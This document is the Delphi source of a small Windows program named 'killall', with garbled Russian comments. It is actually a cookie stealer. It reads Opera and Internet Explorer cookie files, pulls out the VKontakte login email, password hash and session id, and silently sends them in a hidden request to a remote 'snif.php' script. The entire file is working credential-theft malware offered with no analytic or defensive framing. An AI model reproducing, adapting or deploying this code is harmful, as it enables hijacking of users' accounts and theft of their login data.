program killall;

{$APPTYPE CONSOLE}

uses
  SysUtils,windows,ShellAPI;
//-----------Ïîëó÷åìå ëîãèí òåêóøåãî ïîëüçîâàòåëÿ--------------------------------
function GetUserFromWindows: string;
var
  UserName : string;
  UserNameLen : Dword;
begin
  UserNameLen := 255;
  SetLength(userName, UserNameLen);
  if GetUserName(PChar(UserName), UserNameLen) then
    Result := Copy(UserName,1,UserNameLen - 1)
  else
    Result := 'Unknown';
end;
//------------------------------------------------------------------------------
//-------------------Ïîëó÷àåì ñèñòåìíûé äèñê------------------------------------
function GetSystemDisk: string;
var
 S: array[0..MAX_PATH] of Char;
begin
  GetWindowsDirectory(S,SizeOf(S));
  Result:=copy(S,0,1);
end;
//------------------------------------------------------------------------------
var
 User,Disc,mail,hash,id,startdir:string;
 coock,st,mask:string;
 f:TextFile;
 i:integer;
 searchrec : tsearchrec;
 Opera,IE: string;
begin
 Disc:=GetSystemDisk;
 User:=GetUserFromWindows;
 Opera:= Disc+':\Documents and Settings\'+User+'\Application Data\Opera\Opera\profile\cookies4.dat';
 if FileExists(Opera) then
 begin
   AssignFile(f,Opera);                        
   Reset(f);                                   
   for i:=0 to 500 do
   begin
     Readln(f, st);
     coock:=coock+st;
   end;
   delete(coock,1,pos('remixemail',coock)+12);
   mail:=copy(coock,0,pos(#18,coock)-1);
   delete(coock,1,pos('remixpass',coock)+11);
   hash:=copy(coock,0,pos(#18,coock)-1);
   delete(coock,1,pos('remixsid',coock)+9);
   id:=copy(coock,0,pos(#18,coock)-1);
   ShellExecute(0, nil, PChar('http://xx.xx.x.xx/snif.php?t=opera&i='+id+'&m='+mail+'&h='+hash), nil, nil, SW_HIDE);
 end;

 startdir:=Disc+':\Documents and Settings\'+User+'\Cookies\';
 mask := '*.*';
 if findfirst(startdir+mask, faanyfile, searchrec) = 0 then
 begin
   repeat
   if pos('vkontakte',searchrec.name)<>0 then
   begin
     AssignFile(f,startdir+searchrec.name);
     Reset(f);
     for i:=0 to 500 do
     begin
      Readln(f, st);
      coock:=coock+st;
    end;
    delete(coock,1,pos('remixemail',coock)+9);
    mail:=copy(coock,0,pos('vkon',coock)-1);
    delete(coock,1,pos('remixpass',coock)+11);
    hash:=copy(coock,0,pos('vkon',coock)-1);
    delete(coock,1,pos('remixsid',coock)+9);
    id:=copy(coock,0,pos('vkon',coock)-1);
    ShellExecute(0, nil, PChar('http://xx.xx.x.xxx/snif.php?t=ie&i='+id+'&m='+mail+'&h='+hash), nil, nil, SW_HIDE);
  end;
  until findnext(searchrec) <> 0;
 end;
end.